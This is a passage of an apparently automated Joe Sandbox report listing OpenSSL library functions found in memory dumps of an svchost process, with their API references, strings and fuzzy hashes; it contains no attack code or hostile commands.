%02X, xrefs: 00007FFBAB436C09, 00007FFBAB436C56
RSA , xrefs: 00007FFBAB436BC5
Master-Key:, xrefs: 00007FFBAB436C28

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_puts$O_printf
String ID: Master-Key:$%02X$RSA $Session-ID:
API String ID: 4098839300-1878088908
Opcode ID: 7529bdf728e355d32a2083ee701bbcba0b9024adfbbcf3822a6ac71aeb3f0c81
Instruction ID: 93933e8daf139994dcc2d63c813746fb4c3e1e8545303f1d42d83e605db40e69
Opcode Fuzzy Hash: 7529bdf728e355d32a2083ee701bbcba0b9024adfbbcf3822a6ac71aeb3f0c81
Instruction Fuzzy Hash: 9A311CA2A0EA5391FA669B36D9443B867A1EB44B80F4CD134DE3D836B5DF3CE4558304

Function 00007FFBAB42C410 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

OPENSSL_sk_new_null.LIBCRYPTO-3-X64(?,00007FFBAB427989), ref: 00007FFBAB42C445
ERR_new.LIBCRYPTO-3-X64(?,00007FFBAB427989), ref: 00007FFBAB42C452
ERR_set_debug.LIBCRYPTO-3-X64(?,00007FFBAB427989), ref: 00007FFBAB42C46A
ERR_set_error.LIBCRYPTO-3-X64(?,00007FFBAB427989), ref: 00007FFBAB42C47A
SCT_free.LIBCRYPTO-3-X64(?,00007FFBAB427989), ref: 00007FFBAB42C482
OPENSSL_sk_pop.LIBCRYPTO-3-X64(?,00007FFBAB427989), ref: 00007FFBAB42C491
OPENSSL_sk_push.LIBCRYPTO-3-X64(?,00007FFBAB427989), ref: 00007FFBAB42C4B5
OPENSSL_sk_pop.LIBCRYPTO-3-X64(?,00007FFBAB427989), ref: 00007FFBAB42C4C3

Strings

ct_move_scts, xrefs: 00007FFBAB42C457
ssl\ssl_lib.c, xrefs: 00007FFBAB42C463

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: L_sk_pop$L_sk_new_nullL_sk_pushR_newR_set_debugR_set_errorT_free
String ID: ct_move_scts$ssl\ssl_lib.c
API String ID: 2898183876-1945711875
Opcode ID: cbaa212015b02ca3eac7ae01570107f86f471106c1ba61f8259b0908e4114b4a
Instruction ID: 6ec712fff19149472f8c2f51f1d3466d6f17cb73e75044f810c546120dd50499
Opcode Fuzzy Hash: cbaa212015b02ca3eac7ae01570107f86f471106c1ba61f8259b0908e4114b4a
Instruction Fuzzy Hash: 5421C0A1A4FB5241FA22EB32D49127E7295AF84B80F04C134EE6D83BB7DE3CE4058200

Function 00007FFBAB466A46 Relevance: 17.5, APIs: 6, Strings: 4, Instructions: 47COMMON

Download Yara Rule

APIs

BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466A50
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466A77
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466A8F
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466A9E
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466ABB
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466FC9

Strings

<unexpected trailing frame data skipped>, xrefs: 00007FFBAB466FBF
Token: , xrefs: 00007FFBAB466A6D
<zero length token>, xrefs: 00007FFBAB466A88
New token, xrefs: 00007FFBAB466A46

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_puts
String ID: <unexpected trailing frame data skipped>$ Token: $<zero length token>$New token
API String ID: 1322637139-1505068329
Opcode ID: 4cc4649fcdbf46a72c7b1cf1d9b58eb439ba3a376af954ab7130259b364d0bec
Instruction ID: ff39e477c7bc714d8989fc78a75aa88ae04f16e6eeb417ab4806210ace017adb
Opcode Fuzzy Hash: 4cc4649fcdbf46a72c7b1cf1d9b58eb439ba3a376af954ab7130259b364d0bec
Instruction Fuzzy Hash: 26114CD1E4AA4390FE26EBB5E8612FC1751AF45794F84D036DE2E572B6DE3CE44A8300

Function 00007FFBAB466AF8 Relevance: 17.5, APIs: 5, Strings: 5, Instructions: 43COMMON

Download Yara Rule

APIs

BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466B38
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466B64
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466B77
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466B90
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466BA1
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466FC9

Strings

<unexpected trailing frame data skipped>, xrefs: 00007FFBAB466FBF
Stream id: %llu, xrefs: 00007FFBAB466B5A
(Fin), xrefs: 00007FFBAB466AF8
Offset: %llu, xrefs: 00007FFBAB466B6D
Len: %llu, xrefs: 00007FFBAB466B89

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_printfO_puts
String ID: <unexpected trailing frame data skipped>$ Len: %llu$ Offset: %llu$ Stream id: %llu$ (Fin)
API String ID: 3964688267-4176003718
Opcode ID: 6c1b773e76431031572140e2b9498ae3c8577f046698832ea47780813a54f7ea
Instruction ID: f7a688e55b9c0a16b91a406513585d849cf2bb46aedb0b0c7d19f605ec1b9619
Opcode Fuzzy Hash: 6c1b773e76431031572140e2b9498ae3c8577f046698832ea47780813a54f7ea
Instruction Fuzzy Hash: A91152E1E4A65380FE26DBB5D8613FC1760AF45788F449036DE2E175B6DE3CE4868300

Function 00007FFBAB466B13 Relevance: 17.5, APIs: 5, Strings: 5, Instructions: 43COMMON

Download Yara Rule

APIs

BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466B38
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466B64
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466B77
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466B90
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466BA1
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466FC9

Strings

<unexpected trailing frame data skipped>, xrefs: 00007FFBAB466FBF
Stream id: %llu, xrefs: 00007FFBAB466B5A
Offset: %llu, xrefs: 00007FFBAB466B6D
(Off), xrefs: 00007FFBAB466B13
Len: %llu, xrefs: 00007FFBAB466B89

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_printfO_puts
String ID: <unexpected trailing frame data skipped>$ Len: %llu$ Offset: %llu$ Stream id: %llu$ (Off)
API String ID: 3964688267-2743656729
Opcode ID: d683bd9cf68c721bf02318fd61ad0a203fd3004a5d81cf29e164dbd4d0d02ef4
Instruction ID: e88392307c0048c3556a14af168ade8f37bf8c7877acabd167746f282f7bedd2
Opcode Fuzzy Hash: d683bd9cf68c721bf02318fd61ad0a203fd3004a5d81cf29e164dbd4d0d02ef4
Instruction Fuzzy Hash: AA1152E1E4A65380FE26DBB5D8613FC1760AF45788F449036DE2E175B6DE3CE4868300

Function 00007FFBAB466B01 Relevance: 17.5, APIs: 5, Strings: 5, Instructions: 43COMMON

Download Yara Rule

APIs

BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466B38
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466B64
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466B77
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466B90
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466BA1
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466FC9

Strings

<unexpected trailing frame data skipped>, xrefs: 00007FFBAB466FBF
(Len), xrefs: 00007FFBAB466B01
Stream id: %llu, xrefs: 00007FFBAB466B5A
Offset: %llu, xrefs: 00007FFBAB466B6D
Len: %llu, xrefs: 00007FFBAB466B89

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_printfO_puts
String ID: <unexpected trailing frame data skipped>$ Len: %llu$ Offset: %llu$ Stream id: %llu$ (Len)
API String ID: 3964688267-4170081695
Opcode ID: 36c5b77e84433ce9e4e8c1474984c7c447a533362a8d88f0135a06375218057e
Instruction ID: 723dd4476fd6ac4bc5163a1b8b6201d3d4c488be6ca03ee8149484faeaa4d25a
Opcode Fuzzy Hash: 36c5b77e84433ce9e4e8c1474984c7c447a533362a8d88f0135a06375218057e
Instruction Fuzzy Hash: 9C1152E1E4A65380FE26DBB5D8613FC1760AF45788F449036DE2E175B6DE3CE4868300

Function 00007FFBAB466B0A Relevance: 17.5, APIs: 5, Strings: 5, Instructions: 43COMMON

Download Yara Rule

APIs

BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466B38
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466B64
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466B77
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466B90
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466BA1
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466FC9

Strings

<unexpected trailing frame data skipped>, xrefs: 00007FFBAB466FBF
Stream id: %llu, xrefs: 00007FFBAB466B5A
Offset: %llu, xrefs: 00007FFBAB466B6D
(Len, Fin), xrefs: 00007FFBAB466B0A
Len: %llu, xrefs: 00007FFBAB466B89

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_printfO_puts
String ID: <unexpected trailing frame data skipped>$ Len: %llu$ Offset: %llu$ Stream id: %llu$ (Len, Fin)
API String ID: 3964688267-755667354
Opcode ID: dd470031f8fbef8c9c4dc14bbd52003ccb844931b9e1b30c8342e81f843339c0
Instruction ID: f0d22de474692114d198669ff5ff07691d1e148e96963c730e0a28f9ff4fe02a
Opcode Fuzzy Hash: dd470031f8fbef8c9c4dc14bbd52003ccb844931b9e1b30c8342e81f843339c0
Instruction Fuzzy Hash: 681152E1E4A65380FE26DBB5D8613FC2760AF45788F549036DE2E175B6DE3CE4868300

Function 00007FFBAB466B1C Relevance: 17.5, APIs: 5, Strings: 5, Instructions: 43COMMON

Download Yara Rule

APIs

BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466B38
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466B64
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466B77
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466B90
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466BA1
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466FC9

Strings

<unexpected trailing frame data skipped>, xrefs: 00007FFBAB466FBF
Stream id: %llu, xrefs: 00007FFBAB466B5A
Offset: %llu, xrefs: 00007FFBAB466B6D
(Off, Fin), xrefs: 00007FFBAB466B1C
Len: %llu, xrefs: 00007FFBAB466B89

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_printfO_puts
String ID: <unexpected trailing frame data skipped>$ Len: %llu$ Offset: %llu$ Stream id: %llu$ (Off, Fin)
API String ID: 3964688267-743771625
Opcode ID: 53ccaccf77185675b2e856e8cb6b3e6990cebd259b45082fefa23536fb91da59
Instruction ID: 07cc9d894d1f728a8ab9e3470e92dc249a86adbdc5a92b4c8de3b645ebfcbde5
Opcode Fuzzy Hash: 53ccaccf77185675b2e856e8cb6b3e6990cebd259b45082fefa23536fb91da59
Instruction Fuzzy Hash: F61152E1E4A65380FE26DBB5D8613FC1760AF45788F449036DE2E175B6DE3CE4868300

Function 00007FFBAB466B25 Relevance: 17.5, APIs: 5, Strings: 5, Instructions: 43COMMON

Download Yara Rule

APIs

BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466B38
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466B64
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466B77
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466B90
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466BA1
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466FC9

Strings

<unexpected trailing frame data skipped>, xrefs: 00007FFBAB466FBF
Stream id: %llu, xrefs: 00007FFBAB466B5A
Offset: %llu, xrefs: 00007FFBAB466B6D
(Off, Len), xrefs: 00007FFBAB466B25
Len: %llu, xrefs: 00007FFBAB466B89

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_printfO_puts
String ID: <unexpected trailing frame data skipped>$ Len: %llu$ Offset: %llu$ Stream id: %llu$ (Off, Len)
API String ID: 3964688267-741583600
Opcode ID: bf21fdf185826fa51263c15b4f18a555875111d825e4fd196e8d8daf15974131
Instruction ID: a798f535dc22b7eee9667e25c3431cb69b4e3f5054ebcd3a1281fe4d2eef1e61
Opcode Fuzzy Hash: bf21fdf185826fa51263c15b4f18a555875111d825e4fd196e8d8daf15974131
Instruction Fuzzy Hash: 781152E1E4A65380FE26DBB5D8613FC1760AF45788F449036DE2E175B6DE3CE4868300

Function 00007FFBAB466B2E Relevance: 17.5, APIs: 5, Strings: 5, Instructions: 42COMMON

Download Yara Rule

APIs

BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466B38
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466B64
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466B77
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466B90
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466BA1
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466FC9

Strings

<unexpected trailing frame data skipped>, xrefs: 00007FFBAB466FBF
Stream id: %llu, xrefs: 00007FFBAB466B5A
(Off, Len, Fin), xrefs: 00007FFBAB466B2E
Offset: %llu, xrefs: 00007FFBAB466B6D
Len: %llu, xrefs: 00007FFBAB466B89

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_printfO_puts
String ID: <unexpected trailing frame data skipped>$ Len: %llu$ Offset: %llu$ Stream id: %llu$ (Off, Len, Fin)
API String ID: 3964688267-815063566
Opcode ID: 91d637f4aae3752cebe6cbd6d38d90801f6dc67eabb4ba6ce6385815b6992a77
Instruction ID: 39bcc6c9af4e08beb4c33458048eff7f970af80c1d77a1647dc717e1acdcfac1
Opcode Fuzzy Hash: 91d637f4aae3752cebe6cbd6d38d90801f6dc67eabb4ba6ce6385815b6992a77
Instruction Fuzzy Hash: 6B1152E1E4A65390FE26DBB1D8513FC2760AF45798F449036DE2D176B6DE3CE4868300

Function 00007FFBAB466944 Relevance: 17.5, APIs: 5, Strings: 5, Instructions: 40COMMON

Download Yara Rule

APIs

BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB46694E
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466975
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466988
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB46699B
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466FC9

Strings

<unexpected trailing frame data skipped>, xrefs: 00007FFBAB466FBF
Stream id: %llu, xrefs: 00007FFBAB46696B
Final size: %llu, xrefs: 00007FFBAB466991
App Protocol Error Code: %llu, xrefs: 00007FFBAB46697E
Reset stream, xrefs: 00007FFBAB466944

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_printf$O_puts
String ID: <unexpected trailing frame data skipped>$ App Protocol Error Code: %llu$ Final size: %llu$ Stream id: %llu$Reset stream
API String ID: 3508759399-1770620147
Opcode ID: 70d345d178550aaad9d0c406ae69edbd367613dc75700494bee0849a220fe693
Instruction ID: 17239f462b88996550306df908baea89b0d5e845e0d8ef7ac46ab704c629c1d9
Opcode Fuzzy Hash: 70d345d178550aaad9d0c406ae69edbd367613dc75700494bee0849a220fe693
Instruction Fuzzy Hash: C9012DE1E4A75390FE26EB75E9612FD1760AF45794F449036DE2E076A6DE3CE0868300

Function 64945BE0 Relevance: 16.7, APIs: 11, Instructions: 151sleepCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32 ref: 64945C5F
Sleep.KERNEL32 ref: 64945C74
Sleep.KERNEL32 ref: 64945C83

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: Sleep$CreateEvent
String ID:
API String ID: 1576368186-0
Opcode ID: 3a8f0e5f485a57a8fd7ad16dca34b9265d8dc5cd446898dcf4c0c6ed55fd24e3
Instruction ID: 322aad4d60bda52f91d0dd0aacbc613f080a5a7f86a1d1e06db62ca80e90a9de
Opcode Fuzzy Hash: 3a8f0e5f485a57a8fd7ad16dca34b9265d8dc5cd446898dcf4c0c6ed55fd24e3
Instruction Fuzzy Hash: 2C519A3229165086EB158F75E80475E33A9FB89BBCF244325DE298B7D8DF39C886C350

Function 00007FFBAB4407D0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 113COMMON

Download Yara Rule

APIs

BIO_indent.LIBCRYPTO-3-X64(?,?,?,?,?,?,00007FFBAB43EEE8), ref: 00007FFBAB440817
BIO_puts.LIBCRYPTO-3-X64(?,?,?,?,?,?,00007FFBAB43EEE8), ref: 00007FFBAB44082B
BIO_puts.LIBCRYPTO-3-X64(?,?,?,?,?,?,00007FFBAB43EEE8), ref: 00007FFBAB44087B

Strings

extensions, length = %d, xrefs: 00007FFBAB44089C
No extensions, xrefs: 00007FFBAB440821, 00007FFBAB440871
extensions, extype = %d, extlen = %d, xrefs: 00007FFBAB440940

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_puts$O_indent
String ID: No extensions$extensions, extype = %d, extlen = %d$extensions, length = %d
API String ID: 3358443131-3081145182
Opcode ID: 95592bc04ea74deb72a3172617bde5129a03d8bd8dee081b65f7ef57a1859369
Instruction ID: 63c20651bf4ae177cbf18360c30728bd87f7427cb4b3f7aafdfb02c119166610
Opcode Fuzzy Hash: 95592bc04ea74deb72a3172617bde5129a03d8bd8dee081b65f7ef57a1859369
Instruction Fuzzy Hash: 744112B3A1A29246EB22CB31E8001697BA4FB85794F08C131EEEC03B65EF3CD465C700

Function 00007FFBAB4167E0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 71COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64(?,00007FFBAB490955), ref: 00007FFBAB416812
ERR_set_debug.LIBCRYPTO-3-X64(?,00007FFBAB490955), ref: 00007FFBAB41682A

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

BIO_write.LIBCRYPTO-3-X64(?,00007FFBAB490955), ref: 00007FFBAB416858
ERR_new.LIBCRYPTO-3-X64(?,00007FFBAB490955), ref: 00007FFBAB416869
ERR_set_debug.LIBCRYPTO-3-X64(?,00007FFBAB490955), ref: 00007FFBAB416881
ERR_new.LIBCRYPTO-3-X64(?,00007FFBAB490955), ref: 00007FFBAB4168B1
ERR_set_debug.LIBCRYPTO-3-X64(?,00007FFBAB490955), ref: 00007FFBAB4168C9

Strings

ssl3_finish_mac, xrefs: 00007FFBAB416817, 00007FFBAB41686E, 00007FFBAB4168B6
ssl\s3_enc.c, xrefs: 00007FFBAB416823, 00007FFBAB41687A, 00007FFBAB4168C2

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$O_writeR_vset_error
String ID: ssl3_finish_mac$ssl\s3_enc.c
API String ID: 4154431231-3730779252
Opcode ID: d47c5098d58e01f3ea8272b0cf0ab98142f293724266686d08e1ff59bfbdd8bb
Instruction ID: 9aaac6491fb0b4822c312c30ddf0ebaaf251c521452b868c5c3ead913424e55a
Opcode Fuzzy Hash: d47c5098d58e01f3ea8272b0cf0ab98142f293724266686d08e1ff59bfbdd8bb
Instruction Fuzzy Hash: 4F2183A1F1E14241FBA2E772F9926FD1350AF84780F448536EE3D876B2EE6CE5858701

Function 00007FFBAB42AAF0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB42AB11
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB42AB29
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB42AB3A
BIO_new.LIBCRYPTO-3-X64 ref: 00007FFBAB42AB66
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB42AB73
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB42AB8B
